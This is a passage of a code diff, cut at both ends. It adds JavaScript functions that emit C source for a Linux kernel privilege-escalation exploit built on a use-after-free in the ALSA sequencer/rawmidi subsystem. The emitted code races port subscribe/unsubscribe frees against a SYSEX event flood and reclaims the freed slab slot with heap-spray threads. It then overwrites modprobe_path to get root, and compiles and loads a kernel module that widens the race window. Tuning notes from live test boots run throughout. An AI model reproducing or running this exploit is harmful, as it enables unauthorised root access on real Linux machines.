+    "  fwrite(ksrc, 1, strlen(ksrc), f);",
+    "  fclose(f);",
+    "  /* Build + insmod. Any failure here is non-fatal \u2014 the race still runs. */",
+    `  if (system("set -e; cd /tmp; printf 'obj-m += osec_widen.o\\\\n' > Makefile; make -C /lib/modules/$(uname -r)/build M=/tmp modules >/dev/null 2>&1; insmod /tmp/osec_widen.ko 2>/dev/null") != 0) {`,
+    "    /* HONEST GAP: widener unavailable on this target \u2014 narrower race. */",
+    "    return -1;",
+    "  }",
+    "  return 0;",
+    "}"
+  ];
+}
+function emitAlsaSeqRawmidiTrigger(params) {
+  const dst = params.writeProfile?.dstOffset;
+  const len = params.writeProfile?.lenOffset;
+  const out = [];
+  out.push("/* \u2500\u2500 Bug-specific trigger geometry: ALSA snd_seq / rawmidi UAF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", "   Single ALSA-seq subscription \u2192 subscriber count oscillates 0<->1, so", "   every OUTPUT-port unsubscribe FREES the snd_rawmidi_runtime (kmalloc-" + (slabNum(params.slabCache) ?? 192) + ") via", "   midisynth_unuse -> snd_rawmidi_kernel_release -> snd_rawmidi_runtime_free.", "   Racing an event flood (snd_seq_write -> event_process_midi ->", "   snd_rawmidi_kernel_write1) against the free drives the dangling memcpy" + (dst !== void 0 ? ` at runtime->buffer (obj +0x${dst.toString(16)})` : "") + (len !== void 0 ? ` for len obj +0x${len.toString(16)}` : "") + ". */", "", "#include <poll.h>", "#include <pthread.h>", "#include <signal.h>", "#include <sys/ioctl.h>", "", "/* Parse a 0SEC_RACE_* env knob as an int, falling back to a default. Lets", "   the rig sweep the continuous-thread race timings without re-emitting. */", "static int osec_race_envint(const char *name, int dflt) {", "  const char *v = getenv(name);", "  if (!v || !v[0]) return dflt;", "  char *end = NULL;", "  long n = strtol(v, &end, 0);", "  if (!end || end == v) return dflt;", "  return (int)n;", "}", "", "/* Forward declarations \u2014 osec_spray_thread() (below) calls osec_reclaim_spray(),", "   whose definition is emitted LATER in the translation unit (the reclaim helper", "   block). Without this prototype the emitted C fails to compile (use-before-def /", "   'static declaration follows non-static declaration'). osec_pin_cpu() is defined", "   in the marker preamble (above) so it needs none. */", "static void osec_reclaim_spray(void);", "", "/* ALSA sequencer uapi \u2014 REAL layouts from include/uapi/sound/asequencer.h.", "   The struct SIZES are load-bearing: _IOWR/_IOW/_IOR encode sizeof(struct)", "   into the ioctl number, so a wrong size yields a wrong ioctl => -ENOTTY and", "   the kernel never runs the handler (the live boot's 'reaches DROP but ZERO", "   KASAN' symptom). The struct sizes below are the REAL uapi sizes, audited", "   by compilation against include/uapi/sound/asequencer.h:", "     snd_seq_addr           == 2 bytes", "     snd_seq_port_info      == 168 bytes", "     snd_seq_port_subscribe == 80 bytes   (was wrongly 32 \u2014 see below)", "     snd_seq_client_info    == 188 bytes", "     snd_seq_event          == 32 bytes   (was wrongly 28 \u2014 16-byte data union)", "   so that the _IOC-encoded ioctl numbers come out byte-for-byte equal to the", "   kernel's:", "     SNDRV_SEQ_IOCTL_CLIENT_ID         == 0x80045301", "     SNDRV_SEQ_IOCTL_CREATE_PORT       == 0xc0a85320", "     SNDRV_SEQ_IOCTL_DELETE_PORT       == 0x40a85321", "     SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT    == 0x40505330", "     SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT  == 0x40505331", "     SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT == 0xc0bc5351", "     SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT   == 0xc0a85352", "   Two live in-guest probes drove these fixes: the old 92-byte port_info", "   yielded the wrong CREATE_PORT number => -ENOTTY before the UAF could run;", "   and the old 32-byte port_subscribe yielded SUBSCRIBE_PORT == 0x40205330", "   (kernel expects 0x40505330) => -ENOTTY on SUBSCRIBE, so the runtime was", "   never freed and NO UAF fired. Both real uapi sizes (168 / 80) are below. */", "struct snd_seq_addr { unsigned char client; unsigned char port; };", "struct snd_seq_port_info {            /* 168 bytes \u2014 real uapi layout */", "  struct snd_seq_addr addr;           /* 0:   client/port */", "  char name[64];                      /* 2 */", "  unsigned int capability;            /* 68:  SNDRV_SEQ_PORT_CAP_* bitmask */", "  unsigned int type;                  /* 72:  SNDRV_SEQ_PORT_TYPE_* bitmask */", "  int midi_channels;                  /* 76 */", "  int midi_voices;                    /* 80 */", "  int synth_voices;                   /* 84 */", "  int read_use;                       /* 88 */", "  int write_use;                      /* 92 */", "  void *kernel;                       /* 96:  8-byte aligned kernel ptr */", "  unsigned int flags;                 /* 104 */", "  unsigned char time_queue;           /* 108 */", "  unsigned char direction;            /* 109 */", "  unsigned char ump_group;            /* 110 */", "  char reserved[57];                  /* 111: pad to exactly 168 */", "};", "struct snd_seq_port_subscribe {       /* 80 bytes \u2014 real uapi layout */", "  struct snd_seq_addr sender;         /* 0:  source port */", "  struct snd_seq_addr dest;           /* 2:  destination port */", "  unsigned int voices;                /* 4 */", "  unsigned int flags;                 /* 8 */", "  unsigned char queue;                /* 12 */", "  unsigned char pad[3];               /* 13 */", "  unsigned char reserved[64];         /* 16: ends at exactly 80 */", "};", "/* snd_seq_client_info \u2014 only `client` is read; full 188B size keeps the", "   QUERY_NEXT_CLIENT ioctl number (0xc0bc5351) correct. */", "struct snd_seq_client_info {          /* 188 bytes */", "  int client;                         /* 0 */", "  int type;                           /* 4 */", "  char name[64];                      /* 8 */", "  unsigned int filter;                /* 72 */", "  unsigned char multicast_filter[8];  /* 76 */", "  unsigned char event_filter[32];     /* 84 */", "  int num_ports;                      /* 116 */", "  int event_lost;                     /* 120 */", "  int card;                           /* 124 */", "  int pid;                            /* 128 */", "  unsigned int midi_version;          /* 132 */", "  unsigned int group_filter;          /* 136 */", "  char reserved[48];                  /* 140: ends at 188 */", "};", "/* Compile-time static asserts: a wrong size silently re-breaks the ABI. */", "_Static_assert(sizeof(struct snd_seq_port_info) == 168,", '               "snd_seq_port_info must be 168 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_port_subscribe) == 80,", '               "snd_seq_port_subscribe must be 80 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_addr) == 2,", '               "snd_seq_addr must be 2 bytes");', "_Static_assert(sizeof(struct snd_seq_client_info) == 188,", '               "snd_seq_client_info must be 188 bytes for the correct ioctl nr");', "", "/* ioctl numbers \u2014 computed from the REAL struct sizes via the standard", "   macros, so they come out byte-for-byte equal to the kernel's. */", "#define SNDRV_SEQ_IOCTL_CLIENT_ID         _IOR ('S', 0x01, int)", "#define SNDRV_SEQ_IOCTL_CREATE_PORT       _IOWR('S', 0x20, struct snd_seq_port_info)", "#define SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT    _IOW ('S', 0x30, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT  _IOW ('S', 0x31, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT _IOWR('S', 0x51, struct snd_seq_client_info)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT   _IOWR('S', 0x52, struct snd_seq_port_info)", "", "/* Port type/capability bits (asequencer.h). */", "#define SNDRV_SEQ_PORT_CAP_READ        (1<<0)   /* 0x01 */", "#define SNDRV_SEQ_PORT_CAP_WRITE       (1<<1)   /* 0x02 */", "#define SNDRV_SEQ_PORT_CAP_SUBS_READ   (1<<5)   /* 0x20: can be a subscribe src */", "#define SNDRV_SEQ_PORT_CAP_SUBS_WRITE  (1<<6)   /* 0x40: can be a subscribe dest */", "#define SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_TYPE_APPLICATION  (1<<20)/* 0x100000: an app's own port */", "#define SNDRV_SEQ_PORT_TYPE_HARDWARE   (1<<16)  /* 0x10000: real card port */", "", "/* snd_seq_event \u2014 the REAL 32-byte wire layout from asequencer.h. The flood", "   thread writes these to /dev/snd/seq so the kernel routes them through", "   snd_seq_write -> snd_seq_deliver_event -> event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1 (the dangling write site). The variable-length", "   protocol: when ev.flags has LENGTH_VARIABLE, snd_seq_write reads the 32-byte", "   event header off the fd, then reads ev.data.ext.len payload bytes INLINE", "   immediately AFTER the event (userspace write ignores ext.ptr) \u2014 that payload", "   is what dump_midi feeds VERBATIM into runtime->buffer. Getting sizeof()==32", "   is load-bearing twice over: snd_seq_write reads events in", "   sizeof(struct snd_seq_event) strides, AND a wrong size shifts where the inline", "   payload begins, so a 28-byte struct desyncs the stream and the SYSEX event is", "   never parsed (the live-boot 'reaches write1 0 times' symptom). The data union", "   is 16 bytes because its largest member, snd_seq_ev_ext { u32 len; void *ptr; },", "   is 16 bytes on x86-64 under NATURAL alignment: len(4) + 4 pad + 8-aligned", "   ptr(8). It must NOT be packed \u2014 packing it to 12 would shrink the event to 28", "   and re-break the ABI. */", "struct snd_seq_ev_ext { unsigned int len; void *ptr; }; /* 16 bytes: len(4)+pad(4)+ptr(8), NATURAL alignment (not packed) */", "union snd_seq_event_data {            /* 16-byte data union (largest = ext) */", "  unsigned char raw8[16];", "  unsigned int raw32[4];", "  struct snd_seq_ev_ext ext;          /* variable-length: len + ptr (16 bytes) */", "};", "struct snd_seq_event {                /* 32 bytes \u2014 real uapi layout */", "  unsigned char type;                 /* 0:  SNDRV_SEQ_EVENT_* */", "  unsigned char flags;                /* 1:  LENGTH_* | etc. */", "  unsigned char tag;                  /* 2 */", "  unsigned char queue;                /* 3:  SNDRV_SEQ_QUEUE_DIRECT etc. */", "  unsigned int  time;                 /* 4:  union snd_seq_timestamp tick/real (8) */", "  unsigned int  time_hi;              /* 8:  second word of the time union */", "  struct snd_seq_addr source;         /* 12: 2 bytes */", "  struct snd_seq_addr dest;           /* 14: 2 bytes */", "  union snd_seq_event_data data;      /* 16: 16-byte data union -> ends at 32 */", "};", "_Static_assert(sizeof(struct snd_seq_event) == 32,", '               "snd_seq_event must be 32 bytes for snd_seq_write event striding");', "", "/* Event types + flags + addressing (asequencer.h). SYSEX is the verbatim-copy", "   path; SUBSCRIBERS+DIRECT route the event to our port's subscribers (the", "   subscribed hardware port) so it reaches snd_rawmidi_kernel_write1. */", "#define SNDRV_SEQ_EVENT_SYSEX            130    /* variable-length system-exclusive */", "#define SNDRV_SEQ_EVENT_LENGTH_VARIABLE  (1<<2) /* data is ext.len bytes, inline */", "#define SNDRV_SEQ_PRIORITY_NORMAL        (0<<4) /* manual proof ORs this into flags */", "#define SNDRV_SEQ_ADDRESS_SUBSCRIBERS    254    /* dest.client: deliver to subscribers */", "#define SNDRV_SEQ_QUEUE_DIRECT           253    /* ev.queue: bypass queue, deliver now */", "", "/* Shared race state across the CONTINUOUS flood / toggle / spray threads.", "   The manual proof (measured ~0.45% free-during-park x ~1% reclaim-win =>", "   ~1.6% end-to-end, ~1-in-6..8 boots) wins the coincidence ONLY because all", "   three roles run as tight while(running) loops simultaneously \u2014 NOT a bursty", "   512-iteration flood + one toggle per round. So: continuous SYSEX-flood", "   thread(s) keep snd_rawmidi_kernel_write1 hot (and parked by the kprobe", "   mdelay); a continuous subscribe(1)/unsubscribe(0) toggle thread re-arms the", "   free every iteration; and continuous msgsnd-2ndseg spray thread(s) pinned to", "   the SAME CPU as the free pop the just-freed kmalloc-192 slot off that CPU's", "   freelist before the parked writer derefs it. There is NO per-round arming", "   handshake anymore \u2014 the loops run free and the coincidence lands", "   probabilistically, exactly as the manual proof does. */", "static int g_seq_fd = -1;", "static int g_toggle_fd = -1; /* BUG#2 FIX: dedicated fd for subscribe/unsubscribe (manual proof uses a 2nd open) */", "static int g_rawmidi_fd = -1;", "static struct snd_seq_addr g_self;", "static struct snd_seq_addr g_hw;     /* discovered hardware MIDI synth port */", "static int g_have_hw = 0;            /* set iff osec_seq_find_hw_port() won */", "static volatile int g_race_run = 0;  /* 1 while the threads loop; 0 to stop  */", "/* g_n_write_ok / g_n_spray are declared in the marker preamble (always present)", "   so the spray helper can increment them on every path. n_write_ok counts SYSEX", "   events that actually reached the kernel write path \u2014 the load-bearing", "   diagnostic: 0 means the flood never drove event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1, so the freed runtime was never written through (no", "   KASAN UAF, no arb-write) regardless of everything downstream. */", "/* CPU topology. Manual default: the free + reclaim spray share one CPU (so", "   the freed slot is reclaimed from that CPU's per-CPU freelist); the flood", "   runs on another CPU. 0SEC_RACE_SAME_CPU=1 collapses everything onto the", "   free CPU. g_cpu_free is declared in the preamble (osec_reclaim_spray()", "   pins to it too, so free + spray stay genuinely co-resident); the driver", "   sets both from the resolved topology before spawning. g_cpu_flood is", "   ALSA-specific (the flood thread is). */", `int g_cpu_flood = ${(params.pinCpu ?? 0) + 1};                 /* flood/USE CPU (different by default)   */`, "", "/* Discover the HARDWARE MIDI synth port to subscribe to. Self-subscription", "   frees nothing; the real free path needs a subscription onto the card's", "   synth port so unsubscribe drives midisynth_unuse -> snd_rawmidi_kernel_release", "   -> snd_rawmidi_runtime_free. Walk every client (>1, skip System=0/1) and", "   every port, taking the first that is STRICTLY a hardware-card port. The", "   filter MUST be strict: a live in-guest probe showed the loose '(HARDWARE ||", "   MIDI_GENERIC)' test matched the software 'Midi Through' loopback (14:0,", "   type=0xa0002, no HARDWARE bit) BEFORE the real MTPAV card (16:0,", "   type=0x90002, HARDWARE bit set) \u2014 and the loopback port has NO backing", "   snd_rawmidi_runtime, so its teardown frees nothing and no UAF fires. Require", "   the strict SNDRV_SEQ_PORT_TYPE_HARDWARE bit AND both CAP_WRITE and", "   CAP_SUBS_WRITE (mirroring the manual proof) so we target the real card whose", "   port has a runtime. Returns 0 on success, sets g_hw/g_have_hw. */", "static int osec_seq_find_hw_port(void) {", "  struct snd_seq_client_info ci; memset(&ci, 0, sizeof(ci));", "  ci.client = -1; /* QUERY_NEXT_CLIENT returns the first client > ci.client */", "  while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT, &ci) >= 0) {", "    if (ci.client <= 1) continue; /* skip System (0) and the timer (1) */", "    struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", "    pi.addr.client = (unsigned char)ci.client;", "    pi.addr.port = (unsigned char)-1; /* first port > -1 on this client */", "    while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT, &pi) >= 0) {", "      /* STRICT: the real hardware-card synth bit only \u2014 NOT MIDI_GENERIC,", "         which the software loopback also sets (and which has no runtime). */", "      int is_hw = (pi.type & SNDRV_SEQ_PORT_TYPE_HARDWARE) != 0;", "      /* Mirror the manual proof: the port must accept a write subscription", "         (CAP_SUBS_WRITE) AND be writable (CAP_WRITE). */", "      int writable = (pi.capability & SNDRV_SEQ_PORT_CAP_WRITE) &&", "                     (pi.capability & SNDRV_SEQ_PORT_CAP_SUBS_WRITE);", "      if (is_hw && writable) {", "        g_hw = pi.addr; g_have_hw = 1;", "        return 0;", "      }", "    }", "  }", "  return -1; /* HONEST GAP: no hardware synth port found on this guest */", "}", "", "/* Build the topology whose teardown frees the runtime: our own port plus a", "   discovered hardware synth port to subscribe TO. */", "static int osec_seq_setup(void) {", '  g_seq_fd = open("/dev/snd/seq", O_RDWR);', "  if (g_seq_fd < 0) return -1;", "  /* Query our OWN client id. snd_seq_ioctl_create_port rejects (EPERM) any", "     port whose addr.client != the calling client, so this MUST be set on pi", "     before CREATE_PORT \u2014 an in-guest A/B test proved the unset (0) addr.client", "     was the EPERM cause; setting it to cid makes CREATE_PORT return rc=0. */", "  int cid = 0;", "  if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CLIENT_ID, &cid) < 0) return -1;", "  struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", "  pi.addr.client = (unsigned char)cid;        /* THE EPERM FIX: was unset (0) */", "  pi.capability  = SNDRV_SEQ_PORT_CAP_READ  | SNDRV_SEQ_PORT_CAP_SUBS_READ", "                 | SNDRV_SEQ_PORT_CAP_WRITE | SNDRV_SEQ_PORT_CAP_SUBS_WRITE;", "  pi.type        = SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC | SNDRV_SEQ_PORT_TYPE_APPLICATION;", "  pi.midi_channels = 16;", "  if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CREATE_PORT, &pi) < 0) return -1;", "  g_self.client = (unsigned char)cid; g_self.port = pi.addr.port;", "  /* Find the card's hardware MIDI synth port \u2014 the subscription onto THIS", "     port (not self) is what frees the snd_rawmidi_runtime on teardown. */", "  if (osec_seq_find_hw_port() != 0) return -1;", "  /* BUG#2 FIX: dedicated toggle fd (separate from the flood writer fd) so the", "     unsubscribe actually drives midisynth_unuse -> snd_rawmidi_runtime_free.", "     The manual proof opens a 2nd /dev/snd/seq for the toggle for exactly this:", "     running subscribe/unsubscribe on the SAME fd as the SYSEX flood writer did", "     not free the runtime the flood writes through (freed=0, no KASAN UAF). */", '  g_toggle_fd = open("/dev/snd/seq", O_RDWR);', "  if (g_toggle_fd < 0) return -1;", "  /* DO NOT open /dev/snd/midiC0D0 here. An in-guest A/B/C/D probe proved that", "     holding the rawmidi OUTPUT substream open makes the seq SUBSCRIBE return", "     EAGAIN (snd_rawmidi_kernel_open sees the substream already in use), so the", "     subscription never opens the runtime => no alloc/free => no UAF. The manual", "     proof never opens midiC0D0: the SUBSCRIBE itself opens the rawmidi", "     internally (that IS the alloc the UAF rides), and the USE is driven by", "     writing seq SYSEX events through g_seq_fd (event_process_midi ->", "     snd_rawmidi_kernel_write1). g_rawmidi_fd stays -1 here. */", "  return 0;", "}", "", "/* SUBSCRIBE then UNSUBSCRIBE on my_port -> discovered_hw_port: the unsubscribe", "   drops the hw synth's subscriber count to 0 and frees the snd_rawmidi_runtime.", "   sender (us) != dest (the hardware port) \u2014 self-subscription frees nothing.", "   Looped to re-arm the race each round. */", "static int osec_seq_sub(int subscribe) {", "  struct snd_seq_port_subscribe s; memset(&s, 0, sizeof(s));", "  s.sender = g_self; s.dest = g_hw;", "  /* BUG#2 FIX: toggle on g_toggle_fd (a dedicated 2nd /dev/snd/seq), NOT the", "     g_seq_fd the flood writes through \u2014 only then does the unsubscribe free the", "     runtime the flood uses (restores the KASAN slab-UAF, freed 0 -> >=1). */", "  return ioctl(g_toggle_fd, subscribe ? SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT", "                                   : SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT, &s);", "}", "", "/* CONTINUOUS TOGGLE/FREE thread: a tight while(running) loop doing", "   subscribe(1)/unsubscribe(0) on the hw port. Single subscription => the", "   count oscillates 0<->1 and EVERY unsubscribe frees the snd_rawmidi_runtime.", "   This runs CONTINUOUSLY, re-arming the free each iteration (NOT one toggle", "   per round) \u2014 that is what gives the parked writer a freshly-freed object to", "   land on at the manual-proof rate. Pinned to g_cpu_free so the freed slot", "   goes onto the SAME per-CPU freelist the reclaim spray pops from. */", "static void *osec_toggle_thread(void *arg) {", "  osec_pin_cpu(g_cpu_free);", "  while (g_race_run) {", "    osec_seq_sub(1);          /* subscriber 0->1 (allocates runtime)   */", "    osec_seq_sub(0);          /* subscriber 1->0 => FREE the runtime    */", "  }", "  return NULL;", "}", "", "/* CONTINUOUS RECLAIM spray thread: pinned to g_cpu_free (the SAME CPU as the", "   toggle/free) so the freed kmalloc-192 slot is reclaimed off that CPU's", "   freelist before the parked writer derefs it. osec_reclaim_spray() places", "   the controlled bytes (buffer@0x10 = inlined modprobe_path, len, scratch) and", "   re-pins to g_cpu_free itself; we run it in a tight loop. The manual proof", "   used ~10 of these threads; 0SEC_RACE_SPRAY_THREADS sets the count. */", "static void *osec_spray_thread(void *arg) {", "  osec_pin_cpu(g_cpu_free);", "  while (g_race_run) {", "    osec_reclaim_spray();     /* same-CPU reclaim of the just-freed slot */", "  }", "  return NULL;", "}", "", "/* WRITE/flood thread: write SEQ SYSEX events through g_seq_fd, addressed from", "   our own port (g_self) to the SUBSCRIBERS of our port (the subscribed hardware", "   synth) via DIRECT delivery. The kernel routes them snd_seq_write ->", "   snd_seq_deliver_event -> event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1, so a write lands on the just-freed (or just-", "   reclaimed) runtime. SYSEX + LENGTH_VARIABLE is the verbatim-copy path: the", "   payload bytes (F0 .. F7) are copied straight into runtime->buffer.", "", "   INLINE PAYLOAD CONTRACT (this is what makes the flood reach write1): for a", "   variable-length event written from userspace, snd_seq_write IGNORES", "   ev.data.ext.ptr and instead reads ev.data.ext.len payload bytes from the fd", "   IMMEDIATELY AFTER the 32-byte event. So we build one contiguous buffer", "   [32-byte snd_seq_event][SYSEX payload] and write it in a single call:", "   write(g_seq_fd, buf, sizeof(struct snd_seq_event) + payload_len). The old", "   approach (ext.ptr = payload + write(&ev, sizeof(ev))) never delivered the", "   payload \u2014 userspace write doesn't dereference ext.ptr \u2014 so write1 was hit 0", "   times. dest.client = SUBSCRIBERS(254) + dest.port = g_self.port delivers to", "   the subscribers of OUR port (i.e. the hw synth we subscribed), and queue =", "   DIRECT(253) bypasses queueing so the event is dispatched inline now.", "", "   We DO NOT write to a rawmidi fd directly \u2014 driving the USE through the SEQ", "   event path is exactly what the manual proof does, and it leaves the rawmidi", "   output substream free for the SUBSCRIBE to open (no EAGAIN). */", "/* TWO distinct flood payloads, mirroring the manual proof (seqmidi_uaf5/6.c).", "   The flood thread uses EXACTLY ONE of them per boot depending on whether an", "   escalation target was staged (see osec_flood_thread for the why):", "", "   (1) ESCALATION payload \u2014 the short root-tail path string (e.g. /tmp/x\\0),", "       staged by the driver from the root-tail plan. THIS is the write-what-", "       where that overwrites modprobe_path; it is delivered VERBATIM (no F0/F7", "       wrapper) so the exact path bytes land at the target. When staged", "       (g_esc_len > 0) the flood sends ONLY this every iteration \u2014 the manual", "       root proof's pure-ESC behaviour (g_escalate=1, ESC_LEN=7). Bench-measured:", "       a 7-byte ESC flood trips KASAN ~62x/boot AND, being tiny, keeps the writer", "       out of the fatal __dump_midi NULL-runtime window ~15x longer than the old", "       2048B-recon-dominant flood (~4 UAFs before GPF). So the short payload", "       lands the UAF JUST FINE and survives \u2014 the large recon flood was both", "       unnecessary and the cause of the ~2.5s GPF.", "", "   (2) RECON payload \u2014 a LARGE SYSEX (the manual proof's SYSEX_LEN=2048 class).", "       Used ONLY as a fallback when NO escalation target is staged (recon-only /", "       no-vmlinux case), so the UAF still fires for diagnostics even with no", "       write-what-where to deliver.", "", "   0SEC_RECON_SYSEX_LEN sizes the recon payload (default 2048, manual class).", "   g_buf is sized to the recon payload (the larger of the two), so the short", "   escalation memcpy can NEVER overflow it (fixes the -Wstringop-overflow the", "   climb hit: 'memcpy writing 7 bytes into a region of size 0'). */", "#define OSEC_RECON_SYSEX_LEN_DEFAULT 2048", "static unsigned char g_recon_payload[OSEC_RECON_SYSEX_LEN_DEFAULT];", "static unsigned long g_recon_len = 0;", "static unsigned char g_esc_payload[256]; /* short root-tail path bytes, verbatim */", "static unsigned long g_esc_len = 0;      /* 0 until the driver stages the tail   */", "/* CONTINUOUS FLOOD thread: a tight while(running) loop that CONTINUOUSLY", "   writes the SYSEX seq events driving snd_rawmidi_kernel_write1.", "", "   FLOOD-SURVIVAL FIX (bench-measured, 2026-06-26). The free->use window where", "   __dump_midi reads substream->runtime is fatal in two sub-windows: the", "   dangling-but-non-NULL window (a RECOVERABLE KASAN use-after-free read, which", "   kasan_multi_shot tolerates) and the post-free NULL window (a HARD", "   __dump_midi+0x57 GPF: `mov 0x70(%rbp),%rbx; lea 0x38(%rbx)` with rbx==NULL", "   faults on the non-canonical KASAN shadow and KILLS the exploit process). A", "   single boot cannot avoid the NULL window entirely; SURVIVAL is a function of", "   how MANY recoverable UAF reads the flood lands before it drifts into the", "   fatal one. The manual proof (seqmidi_uaf6 flood_sysex) sustains ~62 UAFs", "   over ~12s before the GPF; the OLD engine body \u2014 which flooded the LARGE 2048B", "   recon SYSEX on 7 of every 8 writes \u2014 drifted into the NULL window after only", "   ~4 UAFs / ~2.5s, because each 2080B write spends far longer in the kernel", "   write path (so the writer is exposed to the NULL window far more per write,", "   AND does a 2048B verbatim memcpy into the freed/reclaimed runtime->buffer", "   that itself amplifies fatal landings). The manual's escalation-mode flood is", "   PURE SHORT payload (ESC_LEN==7) and still trips KASAN ~62x \u2014 the large recon", "   flood is NEITHER needed to fire the UAF NOR survivable.", "", "   So: when an escalation payload is staged (g_esc_len > 0) flood ONLY the short", "   ESC payload every iteration (the modprobe_path write-what-where, exactly the", "   manual root proof's g_escalate=1 behaviour) \u2014 small writes => high iteration", "   rate => many recoverable UAF reads before the fatal window, AND every write", "   is the escalation write so a won reclaim lands /tmp/x. Only when NO esc", "   payload is staged (recon-only / no-target case) fall back to the large recon", "   SYSEX so the UAF still fires for diagnostics. The kprobe mdelay (when the", "   target has it) still parks the writer in the dangling window. Pinned to", "   g_cpu_flood (a different CPU from free+spray under the manual topology; same", "   CPU if 0SEC_RACE_SAME_CPU=1). */", "static void *osec_flood_thread(void *arg) {", "  osec_pin_cpu(g_cpu_flood);", "  /* One contiguous buffer: the 32-byte event header followed by the inline", "     SYSEX payload the write site copies verbatim into runtime->buffer. Sized to", "     the recon payload (the larger of recon/esc) so neither memcpy overflows. */", "  unsigned char buf[sizeof(struct snd_seq_event) + sizeof(g_recon_payload)];", "  struct snd_seq_event *ev = (struct snd_seq_event *)buf;", "  /* The event header is INVARIANT across iterations (only the payload + len", "     change), so build it ONCE outside the hot loop \u2014 the manual flood rebuilds", "     it each call, but hoisting it shaves per-write work and keeps the writer's", "     kernel-path residency (its exposure to the fatal NULL window) minimal. */", "  memset(ev, 0, sizeof(*ev));", "  ev->type   = SNDRV_SEQ_EVENT_SYSEX;          /* 130: variable-length sysex */", "  /* LENGTH_VARIABLE selects the verbatim-copy path; PRIORITY_NORMAL mirrors", "     the manual proof's ev.flags (it ORs SNDRV_SEQ_PRIORITY_NORMAL too). */", "  ev->flags  = SNDRV_SEQ_EVENT_LENGTH_VARIABLE | SNDRV_SEQ_PRIORITY_NORMAL;", "  ev->queue  = SNDRV_SEQ_QUEUE_DIRECT;          /* 253: deliver now, no queue */", "  ev->source = g_self;       /* from our own application port            */", "  ev->dest.client = SNDRV_SEQ_ADDRESS_SUBSCRIBERS; /* 254: to our subscribers */", "  ev->dest.port   = g_self.port; /* subscribers of OUR port = subscribed hw */", "  while (g_race_run) {", "    /* SURVIVAL: escalating => flood the SHORT esc payload EVERY iteration (the", "       manual's pure-ESC flood, ~62 UAFs/boot). Only with no esc target staged", "       fall back to the large recon SYSEX so the UAF still fires for diagnostics.", "       Both are bounded by sizeof(g_recon_payload) so buf cannot overflow. */", "    int do_esc = (g_esc_len > 0);", "    const unsigned char *src = do_esc ? g_esc_payload : g_recon_payload;", "    unsigned long plen = do_esc", "      ? g_esc_len", "      : (g_recon_len ? g_recon_len : sizeof(g_recon_payload));", "    if (plen > sizeof(g_recon_payload)) plen = sizeof(g_recon_payload);", "    ev->data.ext.len = (unsigned int)plen; /* ext.ptr unused by userspace write */", "    /* Copy the SYSEX payload INLINE right after the 32-byte event header. */", "    memcpy(buf + sizeof(*ev), src, plen);", "    /* snd_seq_write reads the 32-byte event, then plen payload bytes inline,", "       and dump_midi feeds them verbatim to snd_rawmidi_kernel_write1. Count", "       only events the kernel actually accepted (n_write_ok) \u2014 the diagnostic", "       that distinguishes 'race mis-timed, write1 never reached' from a real", "       free->use landing. */", "    if (g_seq_fd >= 0 && write(g_seq_fd, buf, sizeof(*ev) + plen) > 0)", "      __sync_fetch_and_add(&g_n_write_ok, 1);", "  }", "  return NULL;", "}", "", ...emitKprobeWidener(params.faultingPc, params.widenOffset));
+  return out;
+}
+function slabNum(hint) {
+  const m = (hint ?? "").match(/kmalloc-(?:cg-)?(\d+)/);
+  return m ? parseInt(m[1], 10) : void 0;
+}
+function cByteStage(bufVar, lenVar, bytes) {
+  const out = [];
+  for (let i = 0; i < bytes.length; i++) {
+    const code = bytes.charCodeAt(i) & 255;
+    out.push(`    ${bufVar}[${i}] = 0x${code.toString(16).padStart(2, "0")};`);
+  }
+  out.push(`    ${lenVar} = ${bytes.length};`);
+  return out;
+}
+function emitTriggerDriver(params) {
+  const floodDefault = DEFAULT_RACE_FLOOD_THREADS;
+  const sprayDefault = DEFAULT_RACE_SPRAY_THREADS;
+  const secsDefault = DEFAULT_RACE_SECONDS;
+  return [
+    "  /* Drive the real free/race for this UAF object using the manual proof's",
+    "     CONTINUOUS-thread model. All key timings are env-tunable so the rig can",
+    "     sweep the coincidence rate WITHOUT re-emitting:",
+    `       0SEC_RACE_FLOOD_THREADS (default ${floodDefault}) \u2014 continuous SYSEX flood threads`,
+    `       0SEC_RACE_SPRAY_THREADS (default ${sprayDefault}) \u2014 continuous same-CPU reclaim spray threads`,
+    "       0SEC_RACE_PARK_US       (read by the widener) \u2014 kprobe mdelay park width",
+    `       0SEC_RACE_SECONDS       (default ${secsDefault}) \u2014 wall-clock budget per boot`,
+    "       0SEC_RACE_SAME_CPU      (default 0) \u2014 1 pins the flood onto the free/spray CPU too */",
+    "  if (osec_seq_setup() == 0) {",
+    "    /* Stage the LARGE recon SYSEX payload (F0 .. 7-bit data .. F7), the manual",
+    "       proof's SYSEX_LEN=2048 class. This is the FALLBACK flood payload used only",
+    "       when no escalation target is staged (recon-only case): a large verbatim",
+    "       memcpy into runtime->buffer trips KASAN slab-use-after-free for diagnostics.",
+    "       When an escalation payload IS staged the flood floods the SHORT esc payload",
+    "       instead (bench-measured to trip the UAF ~62x/boot AND survive ~15x longer",
+    "       than recon \u2014 see osec_flood_thread). The length is env-tunable so the rig",
